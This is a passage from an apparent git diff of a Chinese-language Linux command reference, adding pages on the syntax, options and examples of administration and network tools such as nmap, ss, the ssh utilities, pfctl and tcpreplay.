**mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具它从特定格式的文本文件中读取数据插入MySQL数据库表中。
### 语法
```
mysqlimport(选项)(参数)
```
### 选项
```
-D导入数据前清空表
-f出现错误时继续处理剩余的操作
-hMySQL服务器的ip地址或主机名
-u连接MySQL服务器的用户名
-p连接MySQL服务器的密码。
```
### 参数
* 数据库名:指定要导入的数据库名称;
* 文本文件:包含特定格式文本文件。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

56
command/newusers.md Normal file
View File

@ -0,0 +1,56 @@
newusers
===
用于批处理的方式一次创建多个命令
## 补充说明
**newusers命令** 用于批处理的方式一次创建多个命令。
### 语法
```
newusers(参数)
```
### 参数
用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。
### 实例
实用newusers命令批量添加用户
用法很简单newusers后面直接跟一个文件文件格式和`/etc/passwd`的格式相同。
```
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
```
举例:
```
jingang0:x:520:520::/home/jingang0:/sbin/nologin
jingang1:x:521:521::/home/jingang1:/sbin/nologin
......
```
值得一提的是关于SHELL类型查看主机上所有SHELL可以通过chsh来查看
```
[root@localhost beinan]# chsh --list
/bin/sh
/bin/bash
/sbin/nologin
/bin/ksh
/bin/tcsh
/bin/csh
/bin/zsh
```
其中除了`/sbin/nologin`其它类型的SHELL都能登录系统nologin大多是虚拟用户用的SHELL也就是说虽然他是系统用户但他并无登录系统的权限如果您想添加这类用户就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。
关于用户名、UID、GID及用户的家目录是怎么回事您可以读相应的参考文档。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

72
command/nmap.md Normal file
View File

@ -0,0 +1,72 @@
nmap
===
网络探测和安全审核
## 补充说明
**nmap命令** 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。
### 语法
```
nmap(选项)(参数)
```
### 选项
```
-O激活操作探测
-P0值进行扫描不ping主机
-PT是同TCP的ping
-sV探测服务版本信息
-sPping扫描仅发现目标主机是否存活
-ps发送同步SYN报文
-PU发送udp ping
-PE强制执行直接的ICMPping
-PB默认模式可以使用ICMPping和TCPping
-6使用IPv6地址
-v得到更多选项信息
-d增加调试信息地输出
-oN以人们可阅读的格式输出
-oX以xml格式向指定文件输出信息
-oM以机器可阅读的格式输出
-A使用所有高级扫描选项
--resume继续上次执行完的扫描
-P指定要扫描的端口可以是一个单独的端口用逗号隔开多个端口使用“-”表示端口范围;
-e在多网络接口Linux系统中指定扫描使用的网络接口
-g将指定的端口作为源端口进行扫描
--ttl指定发送的扫描报文的生存期
--packet-trace显示扫描过程中收发报文统计
--scanflags设置在扫描报文中的TCP标志。
```
### 参数
ip地址指定待扫描报文中的TCP地址。
### 实例
**安装nmap**
```
yum install nmap
```
**使用nmap扫描www.jsdig.com的开放端口**
```
[root@localhost ~]# nmap www.jsdig.com
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8):
Not shown: 1678 filtered ports
PORT STATE service
22/tcp open ssh
80/tcp open http
Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

59
command/nologin.md Normal file
View File

@ -0,0 +1,59 @@
nologin
===
拒绝用户登录系统
## 补充说明
**nologin命令** 可以实现礼貌地拒绝用户登录系统同时给出信息。如果尝试以这类用户登录就在log里添加记录然后在终端输出This account is currently not available信息就是这样。一般设置这样的帐号是给启动服务的账号所用的这只是让服务启动起来但是不能登录系统。
### 语法
```
nologin
```
### 实例
Linux禁止用户登录
禁止用户登录后用户不能登录系统但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候希望个别用户或者所有用户不能登录系统保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。  
1、禁止个别用户登录比如禁止lynn用户登录。
```
passwd -l lynn
```
这就话的意思是锁定lynn用户这样该用户就不能登录了。  
```
passwd -u lynn
```
上面是对锁定的用户lynn进行解锁用户可登录了。    
2、我们通过修改`/etc/passwd`文件中用户登录的shell
```
vi /etc/passwd
```
更改为:
```
lynn:x:500:500::/home/lynn:/sbin/nologin
```
该用户就无法登录了。  
3、禁止所有用户登录。
```
touch /etc/nologin
```
除root以外的用户不能登录了。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

69
command/pfctl.md Normal file
View File

@ -0,0 +1,69 @@
pfctl
===
PF防火墙的配置命令
## 补充说明
**pfctl命令** 是PF防火墙的配置命令PF防火墙( 全称Packet Filter )是UNIX LIKE系统上进行TCP/ip流量过滤和网络地址转换的软件系统。PF同样也能提供TCP/IP流量的整形和控制并且提供带宽控制和数据包优先集控制。PF最早是由Daniel Hartmeier开发的现在的开发和维护由Daniel和openBSD小组的其他成员负责。
PF防火墙的功能很多本站只列举一些基本配置。
### 激活
要激活pf并且使它在启动时调用配置文件编辑`/etc/rc.conf`文件修改配置pf的一行
```
pf=yes
```
重启操作系统让配置生效。
也可以通过pfctl程序启动和停止pf
```
# pfctl -e
# pfctl -d
```
注意这仅仅是启动和关闭PF实际它不会载入规则集规则集要么在系统启动时载入要在PF启动后通过命令单独载入。
### 配置
系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件在系统调用rc脚本文件时它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序PF提供了足够的灵活性。
**pf.conf文件有7个部分**
1. 宏用户定义的变量包括IP地址接口名称等等。
2. 表一种用来保存IP地址列表的结构。
3. 选项控制PF如何工作的变量。
4. 整形:重新处理数据包,进行正常化和碎片整理。
5. 排队:提供带宽控制和数据包优先级控制。
6. 转换:控制网络地址转换和数据包重定向。
7. 过滤规则:在数据包通过接口时允许进行选择性的过滤和阻止。
除去宏和表,其他的段在配置文件中也应该按照这个顺序出现,尽管对于一些特定的应用并不是所有的段都是必须的。
空行会被忽略,以#开头的行被认为是注释。
### 控制
引导之后PF可以通过pfctl程序进行操作以下是一些例子
```
# pfctl -f /etc/pf.conf 载入 pf.conf 文件
# pfctl -nf /etc/pf.conf 解析文件,但不载入
# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则
# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则
# pfctl -sn 显示当前的NAT规则
# pfctl -sr 显示当前的过滤规则
# pfctl -ss 显示当前的状态表
# pfctl -si 显示过滤状态和计数
# pfctl -sa 显示任何可显示的
```
完整的命令列表请参阅pfctl的man手册页。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

42
command/pkill.md Normal file
View File

@ -0,0 +1,42 @@
pkill
===
可以按照进程名杀死进程
## 补充说明
**pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多也是直接杀死运行中的程序如果您想杀掉单个进程请用kill来杀掉。
### 语法
```
pkill(选项)(参数)
```
### 选项
```
-o仅向找到的最小起始进程号发送信号
-n仅向找到的最大结束进程号发送信号
-P指定父进程号发送信号
-g指定进程组
-t指定开启进程的终端。
```
### 参数
进程名称指定要查找的进程名称同时也支持类似grep指令中的匹配模式。
### 实例
```
pgrep -l gaim
2979 gaim
pkill gaim
```
也就是说kill对应的是PIDpkill对应的是command。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

124
command/pmap.md Normal file
View File

@ -0,0 +1,124 @@
pmap
===
报告进程的内存映射关系
## 补充说明
**pmap命令** 用于报告进程的内存映射关系是Linux调试及运维一个很好的工具。
### 语法
```
pmap(选项)(参数)
```
### 选项
```
-x显示扩展格式
-d显示设备格式
-q不显示头尾行
-V显示指定版本。
```
### 参数
进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。
### 实例
```
pidof nginx
13312 5371
pmap -x 5371
5371: nginx: worker process
Address Kbytes RSS Dirty Mode Mapping
0000000000400000 564 344 0 r-x-- nginx
000000000068c000 68 68 60 rw--- nginx
000000000069d000 56 12 12 rw--- [ anon ]
000000000a0c8000 1812 1684 1684 rw--- [ anon ]
0000003ac0a00000 112 40 0 r-x-- ld-2.5.so
0000003ac0c1c000 4 4 4 r---- ld-2.5.so
0000003ac0c1d000 4 4 4 rw--- ld-2.5.so
0000003ac0e00000 1340 284 0 r-x-- libc-2.5.so
0000003ac0f4f000 2044 0 0 ----- libc-2.5.so
0000003ac114e000 16 16 8 r---- libc-2.5.so
0000003ac1152000 4 4 4 rw--- libc-2.5.so
0000003ac1153000 20 20 20 rw--- [ anon ]
0000003ac1200000 8 4 0 r-x-- libdl-2.5.so
0000003ac1202000 2048 0 0 ----- libdl-2.5.so
0000003ac1402000 4 4 4 r---- libdl-2.5.so
0000003ac1403000 4 4 4 rw--- libdl-2.5.so
0000003ac1600000 84 0 0 r-x-- libselinux.so.1
0000003ac1615000 2048 0 0 ----- libselinux.so.1
0000003ac1815000 8 8 8 rw--- libselinux.so.1
0000003ac1817000 4 4 4 rw--- [ anon ]
0000003ac1a00000 236 0 0 r-x-- libsepol.so.1
0000003ac1a3b000 2048 0 0 ----- libsepol.so.1
0000003ac1c3b000 4 4 4 rw--- libsepol.so.1
0000003ac1c3c000 40 0 0 rw--- [ anon ]
0000003ac1e00000 88 44 0 r-x-- libpthread-2.5.so
0000003ac1e16000 2048 0 0 ----- libpthread-2.5.so
0000003ac2016000 4 4 4 r---- libpthread-2.5.so
0000003ac2017000 4 4 4 rw--- libpthread-2.5.so
0000003ac2018000 16 4 4 rw--- [ anon ]
0000003ac2600000 80 52 0 r-x-- libz.so.1.2.3
0000003ac2614000 2044 0 0 ----- libz.so.1.2.3
0000003ac2813000 4 4 4 rw--- libz.so.1.2.3
0000003ac2a00000 36 4 0 r-x-- libcrypt-2.5.so
0000003ac2a09000 2044 0 0 ----- libcrypt-2.5.so
0000003ac2c08000 4 4 4 r---- libcrypt-2.5.so
0000003ac2c09000 4 4 4 rw--- libcrypt-2.5.so
0000003ac2c0a000 184 0 0 rw--- [ anon ]
0000003ac3600000 8 0 0 r-x-- libkeyutils-1.2.so
0000003ac3602000 2044 0 0 ----- libkeyutils-1.2.so
0000003ac3801000 4 4 4 rw--- libkeyutils-1.2.so
0000003ac3a00000 68 0 0 r-x-- libresolv-2.5.so
0000003ac3a11000 2048 0 0 ----- libresolv-2.5.so
0000003ac3c11000 4 4 4 r---- libresolv-2.5.so
0000003ac3c12000 4 4 4 rw--- libresolv-2.5.so
0000003ac3c13000 8 0 0 rw--- [ anon ]
0000003ac3e00000 8 0 0 r-x-- libcom_err.so.2.1
0000003ac3e02000 2044 0 0 ----- libcom_err.so.2.1
0000003ac4001000 4 4 4 rw--- libcom_err.so.2.1
0000003ac4200000 1204 8 0 r-x-- libcrypto.so.0.9.8e
0000003ac432d000 2044 0 0 ----- libcrypto.so.0.9.8e
0000003ac452c000 132 88 12 rw--- libcrypto.so.0.9.8e
0000003ac454d000 16 12 12 rw--- [ anon ]
0000003ac4600000 176 0 0 r-x-- libgssapi_krb5.so.2.2
0000003ac462c000 2048 0 0 ----- libgssapi_krb5.so.2.2
0000003ac482c000 8 8 8 rw--- libgssapi_krb5.so.2.2
0000003ac4a00000 144 0 0 r-x-- libk5crypto.so.3.1
0000003ac4a24000 2044 0 0 ----- libk5crypto.so.3.1
0000003ac4c23000 8 8 8 rw--- libk5crypto.so.3.1
0000003ac4e00000 32 0 0 r-x-- libkrb5support.so.0.1
0000003ac4e08000 2044 0 0 ----- libkrb5support.so.0.1
0000003ac5007000 4 4 4 rw--- libkrb5support.so.0.1
0000003ac5200000 580 0 0 r-x-- libkrb5.so.3.3
0000003ac5291000 2048 0 0 ----- libkrb5.so.3.3
0000003ac5491000 16 16 12 rw--- libkrb5.so.3.3
0000003ac5a00000 288 4 0 r-x-- libssl.so.0.9.8e
0000003ac5a48000 2048 0 0 ----- libssl.so.0.9.8e
0000003ac5c48000 24 16 12 rw--- libssl.so.0.9.8e
00002b5751808000 8 8 8 rw--- [ anon ]
00002b5751810000 108 36 0 r-x-- libpcre.so.1.2.0
00002b575182b000 2044 0 0 ----- libpcre.so.1.2.0
00002b5751a2a000 4 4 4 rw--- libpcre.so.1.2.0
00002b5751a2b000 28 28 28 rw--- [ anon ]
00002b5751a32000 40 20 0 r-x-- libnss_files-2.5.so
00002b5751a3c000 2044 0 0 ----- libnss_files-2.5.so
00002b5751c3b000 4 4 4 r---- libnss_files-2.5.so
00002b5751c3c000 4 4 4 rw--- libnss_files-2.5.so
00002b5751c3d000 4 4 4 rw-s- zero (deleted)
00002b5751c3e000 20012 20000 20000 rw--- [ anon ]
00007fffbf2ce000 84 20 20 rw--- [ stack ]
00007fffbf35e000 12 0 0 r-x-- [ anon ]
ffffffffff600000 8192 0 0 ----- [ anon ]
---------------- ------ ------ ------
total kB 72880 22940 22000
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

53
command/pwck.md Normal file
View File

@ -0,0 +1,53 @@
pwck
===
用来验证系统认证文件内容和格式的完整性
## 补充说明
**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。
### 语法
```
pwck(选项)(参数)
```
### 选项
```
-q仅报告错误信息
-s以用户id排序文件“/etc/passwd”和“/etc/shadow”;
-r只读方式运行指令。
```
### 参数
* 密码文件:指定密码文件的路径;
* 影子文件:指定影子文件的路径。
### 实例
```
pwck /etc/passwd
user 'lp': directory '/var/spool/lpd' does not exist
user 'news': directory '/var/spool/news' does not exist
user 'uucp': directory '/var/spool/uucp' does not exist
user 'www-data': directory '/var/www' does not exist
user 'list': directory '/var/list' does not exist
user 'irc': directory '/var/run/ircd' does not exist
user 'gnats': directory '/var/lib/gnats' does not exist
user 'nobody': directory '/nonexistent' does not exist
user 'syslog': directory '/home/syslog' does not exist
user 'couchdb': directory '/var/lib/couchdb' does not exist
user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist
user 'usbmux': directory '/home/usbmux' does not exist
user 'haldaemon': directory '/var/run/hald' does not exist
user 'pulse': directory '/var/run/pulse' does not exist
user 'saned': directory '/home/saned' does not exist
user 'hplip': directory '/var/run/hplip' does not exist
pwck无改变
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

40
command/runlevel.md Normal file
View File

@ -0,0 +1,40 @@
runlevel
===
打印当前Linux系统的运行等级
## 补充说明
**runlevel命令** 用于打印当前Linux系统的运行等级。
### 语法
```
runlevel
```
### 知识扩展
linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段这几个阶段就叫做runlevel同样当linux操作系统关闭时也要经历另外几个不同的runlevel下面我们就准备详细介绍一下runlevel并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
runlevel可以认为是系统状态形象一点您可以认为runlevel有点象微软的windows操作系统中的Normalsafemode和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号
在大多数的linux发行版本中通常有8个runlevel
```
0 停机
1 单用户模式
2 多用户,没有 NFS
3 完全多用户模式
4 没有用到
5 图形界面
6 重新启动
S s Single user mode
```
多数的桌面的linux系统缺省的runlevel是5用户登陆时是图形界面而多数的服务器版本的linux系统缺省的runlevel是3用户登陆时是字符界面runlevel 1和2除了调试之外很少使用runlevel s和S并不是直接给用户使用而是用来为Single user mode作准备。
linux的运行模式比起windows的启动模式的优势在于你可以在系统空闲时使用init命令切换你现在使用的runlevel另外当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

59
command/service.md Normal file
View File

@ -0,0 +1,59 @@
service
===
控制系统服务的实用工具
## 补充说明
**service命令** 是Redhat Linux兼容的发行版中用来控制系统服务的实用工具它以启动、停止、重新启动和关闭系统服务还可以显示所有系统服务的当前状态。
### 语法
```
service(选项)(参数)
```
### 选项
```
-h显示帮助信息
--status-all显示所服务的状态。
```
### 参数
* 服务名:自动要控制的服务名,即`/etc/init.d`目录下的脚本文件名;
* 控制命令:系统服务脚本支持的控制命令。
### 实例
当修改了主机名、ip地址等信息时经常需要把网络重启使之生效。
```
service network status
配置设备:
lo eth0
当前的活跃设备:
lo eth0
service network restart
正在关闭接口 eth0 [ 确定 ]
关闭环回接口: [ 确定 ]
设置网络参数: [ 确定 ]
弹出环回接口: [ 确定 ]
弹出界面 eth0 [ 确定 ]
```
重启mysql
```
service mysqld status
mysqld (pid 1638) 正在运行...
service mysqld restart
停止 MySQL [ 确定 ]
启动 MySQL [ 确定 ]
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

17
command/sftp-server.md Normal file
View File

@ -0,0 +1,17 @@
sftp-server
===
sftp协议的服务器端程序
## 补充说明
**sftp-server命令** 是一个“sftp”协议的服务器端程序它使用加密的方式进行文件传输。
### 语法
```
sftp-server
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

116
command/ss.md Normal file
View File

@ -0,0 +1,116 @@
ss
===
获取socket统计信息
## 补充说明
**ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息而且比netstat更快速更高效。
当服务器的socket连接数量变得非常大时无论是使用netstat命令还是直接`cat /proc/net/tcp`执行速度都会很慢。可能你不会有切身的感受但请相信我当服务器维持的连接达到上万个的时候使用netstat等于浪费 生命而用ss才是节省时间。
天下武功唯快不破。ss快的秘诀在于它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块可以获得Linux 内核中第一手的信息这就确保了ss的快捷高效。当然如果你的系统中没有tcp_diagss也可以正常运行只是效率会变得稍慢。
### 语法
```
ss(选项)
```
### 选项
```
-h显示帮助信息
-V显示指令版本信息
-n不解析服务名称以数字方式显示
-a显示所有的套接字
-l显示处于监听状态的套接字
-o显示计时器信息
-m显示套接字的内存使用情况
-p显示使用套接字的进程信息
-i显示内部的TCP信息
-4只显示ipv4的套接字
-6只显示ipv6的套接字
-t只显示tcp套接字
-u只显示udp套接字
-d只显示DCCP套接字
-w仅显示RAW套接字
-x仅显示UNIX域套接字。
```
### 实例
**显示ICP连接**
```
[root@localhost ~]# ss -t -a
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 0 *:3306 *:*
LISTEN 0 0 *:http *:*
LISTEN 0 0 *:ssh *:*
LISTEN 0 0 127.0.0.1:smtp *:*
ESTAB 0 0 112.124.15.130:42071 42.156.166.25:http
ESTAB 0 0 112.124.15.130:ssh 121.229.196.235:33398
```
**显示 Sockets 摘要**
```
[root@localhost ~]# ss -s
Total: 172 (kernel 189)
TCP: 10 (estab 2, closed 4, orphaned 0, synrecv 0, timewait 0/0), ports 5
Transport Total ip IPv6
* 189 - -
RAW 0 0 0
UDP 5 5 0
TCP 6 6 0
INET 11 11 0
FRAG 0 0 0
```
列出当前的established, closed, orphaned and waiting TCP sockets
**列出所有打开的网络连接端口**
```
[root@localhost ~]# ss -l
Recv-Q Send-Q Local Address:Port Peer Address:Port
0 0 *:3306 *:*
0 0 *:http *:*
0 0 *:ssh *:*
0 0 127.0.0.1:smtp *:*
```
**查看进程使用的socket**
```
[root@localhost ~]# ss -pl
Recv-Q Send-Q Local Address:Port Peer Address:Port
0 0 *:3306 *:* users:(("mysqld",1718,10))
0 0 *:http *:* users:(("nginx",13312,5),("nginx",13333,5))
0 0 *:ssh *:* users:(("sshd",1379,3))
0 0 127.0.0.1:smtp *:* us
```
**找出打开套接字/端口应用程序**
```
[root@localhost ~]# ss -pl | grep 3306
0 0 *:3306 *:* users:(("mysqld",1718,10))
```
**显示所有UDP Sockets**
```
[root@localhost ~]# ss -u -a
State Recv-Q Send-Q Local Address:Port Peer Address:Port
UNCONN 0 0 *:syslog *:*
UNCONN 0 0 112.124.15.130:ntp *:*
UNCONN 0 0 10.160.7.81:ntp *:*
UNCONN 0 0 127.0.0.1:ntp *:*
UNCONN 0 0 *:ntp *:*
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

53
command/ssh-add.md Normal file
View File

@ -0,0 +1,53 @@
ssh-add
===
把专用密钥添加到ssh-agent的高速缓存中
## 补充说明
**ssh-add命令** 是把专用密钥添加到ssh-agent的高速缓存中。该命令位置在`/usr/bin/ssh-add`。
### 语法
```
ssh-add [-cDdLlXx] [-t life] [file ...]
ssh-add -s pkcs11
ssh-add -e pkcs11
```
### 选项
```
-D删除ssh-agent中的所有密钥.
-d从ssh-agent中的删除密钥
-e pkcs11删除PKCS#11共享库pkcs1提供的钥匙。
-s pkcs11添加PKCS#11共享库pkcs1提供的钥匙。
-L显示ssh-agent中的公钥
-l显示ssh-agent中的密钥
-t life对加载的密钥设置超时时间超时ssh-agent将自动卸载密钥
-X对ssh-agent进行解锁
-x对ssh-agent进行加锁
```
### 实例
1、把专用密钥添加到 ssh-agent 的高速缓存中:
```
ssh-add ~/.ssh/id_dsa
```
2、从ssh-agent中删除密钥
```
ssh-add -d ~/.ssh/id_xxx.pub
```
3、查看ssh-agent中的密钥
```
ssh-add -l
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

41
command/ssh-agent.md Normal file
View File

@ -0,0 +1,41 @@
ssh-agent
===
ssh密钥管理器
## 补充说明
**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。
其实ssh-agent就是一个密钥管理器运行ssh-agent以后使用ssh-add将私钥交给ssh-agent保管其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。
### 语法
```
ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
ssh-agent [-c | -s] -k
```
### 选项
```
-a bind_addressbind the agent to the UNIX-domain socket bind_address.
-c生成C-shell风格的命令输出。
-d调试模式。
-k把ssh-agent进程杀掉。
-s生成Bourne shell 风格的命令输出。
-t life设置默认值添加到代理人的身份最大寿命。
```
### 实例
运行ssh-agent
```
ssh-agent
```
运行ssh-agent它会打印出来它使用的环境和变量。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

32
command/ssh-copy-id.md Normal file
View File

@ -0,0 +1,32 @@
ssh-copy-id
===
把本地的ssh公钥文件安装到远程主机对应的账户下
## 补充说明
**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上ssh-copy-id命令也会给远程主机的用户主目录home和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。
### 语法
```
ssh-copy-id [-i [identity_file]] [user@]machine
```
### 选项
```
-i指定公钥文件
```
### 实例
1、把本地的ssh公钥文件安装到远程主机对应的账户下
```
ssh-copy-id user@server
ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

32
command/ssh-keygen.md Normal file
View File

@ -0,0 +1,32 @@
ssh-keygen
===
为ssh生成、管理和转换认证密钥
## 补充说明
**ssh-keygen命令** 用于为“ssh”生成、管理和转换认证密钥它支持RSA和DSA两种认证密钥。
### 语法
```
ssh-keygen(选项)
```
### 选项
```
-b指定密钥长度
-e读取openssh的私钥或者公钥文件
-C添加注释
-f指定用来保存密钥的文件名
-i读取未加密的ssh-v2兼容的私钥/公钥文件然后在标准输出设备上显示openssh兼容的私钥/公钥;
-l显示公钥文件的指纹数据
-N提供一个新密语
-P提供密语
-q静默模式
-t指定要创建的密钥类型。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

34
command/sshd.md Normal file
View File

@ -0,0 +1,34 @@
sshd
===
openssh软件套件中的服务器守护进程
## 补充说明
**sshd命令** 是openssh软件套件中的服务器守护进程。
### 语法
```
sshd(选项)
```
### 选项
```
-4强制使用IPv4地址
-6强制使用IPv6地址
-D以后台守护进程方式运行服务器
-d调试模式
-e将错误发送到标准错误设备而不是将其发送到系统日志
-f指定服务器的配置文件
-g指定客户端登录时的过期时间如果在此期限内用户没有正确认证则服务器断开次客户端的连接
-h指定读取主机key文件
-issh以inetd方式运行
-o指定ssh的配置选项
-p静默模式没有任何信息写入日志
-t测试模式。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

102
command/tcpreplay.md Normal file
View File

@ -0,0 +1,102 @@
tcpreplay
===
将PCAP包重新发送用于性能或者功能测试
## 补充说明
简单的说, **tcpreplay** 是一种pcap包的重放工具它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改主要是指对2层、3层、4层报文头指定重放报文的速度等这样tcpreplay就可以用来复现抓包的情景以定位bug以极快的速度重放从而实现压力测试。
### 选项
```
-A "<args>" 在使用 tcpdump 风格打印输出信息时同时再调用tcpdump中的参数 默认已经带有“-n,-l”所以一般看到的都是ip地址而没有主机名的打印注意这个是在tcpreplay使用了-v参数时才能使用不带-v不会报错但是没有实际意义。格式-vA “nnt”表示以tcpdump风格输出报文信息并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数这样发送出去的报文也会变少。
-c <cachefile> 双网卡回放报文必选参数后面紧跟cache文件名该文件为tcpprep根据对应的pcap文件构造出来。
-D 把应用层的数据使用dump mode写入到指定文件中去和-w、-W 参数一起使用。
-e <ip1:ip2> 指定端点的ip即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip但是这样发送的出的报文不会区分client和server。。
-f <configfile> 指定配置文件。
-F 在发送报文时自动纠正错误的校验和。对测试DUT的校验和检验。
-h 显示帮助文件。
-i <nic> 双网卡回放报文必选参数,指定主接口。
-I <mac> 重写主网卡发送出报文的目的MAC地址。
-j <nic> 双网卡回放报文必选参数,指定从接口。
-J <mac> 重写从网卡发送出报文的目的MAC地址。
-k <mac> 重写主网卡发送报文的源MAC地址。
-K <mac> 重写从网卡发送报文的源MAC地址。
-l <loop> 指定循环的次数。
-L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。
-m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后对于DUT可能意味着有更多的并发连接和连接数特别是对于BT报文的重放 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大还可以通过修改连接的超时时间来达到该目的。
-M 表示不发送“火星”的ip报文man文件中的定义是 0/8、172/8、 255/8。
-n 在使用-S参数不对混杂模式进行侦听。
-N <CIDR1:CIDR2,...> 通过伪造的NAT重写IP地址。这个参数应该有很重要的应用目前没有测试使用。
-O 没有测试使用。
-p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
-P 表示在输出信息中打印PID的信息用于单用户或单帐户模式下暂停和重启程序。
-r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
-R 让网卡极限速度发数据包。
-t <mtu> 指定MTU标准的10/100M网卡的默认值是1500。
-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去默认是不发送skip掉。
-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
-V 查看版本号。
-w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
```
### 实例
**1、重放在客户端 ftp 连接的报文 **
a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。
b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。
```
[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache v
```
c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。 
```
[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R v
```
-R 参数表示全速发送,-v 显示打印信息。 
**2、重放在客户端 BT 连接的报文 **
a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。 
b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。
```
[root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" v
```
制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。 
c、使用 tcpreplay 重放报文。 
```
[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v R
```
**3、重放 tftp 服务器上抓到的报文 **
a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。 
b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。 
```
[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache v
```
注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文结果在网卡发送报文的后DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT这个问题比较搞笑上午弄了半天才发现原因开始还 以为 udp 的连接不能重放。 
c、使用 tcpreplay 重放报文。 
```
[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap v
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

27
command/telint.md Normal file
View File

@ -0,0 +1,27 @@
telint
===
切换当前正在运行系统的运行等级
## 补充说明
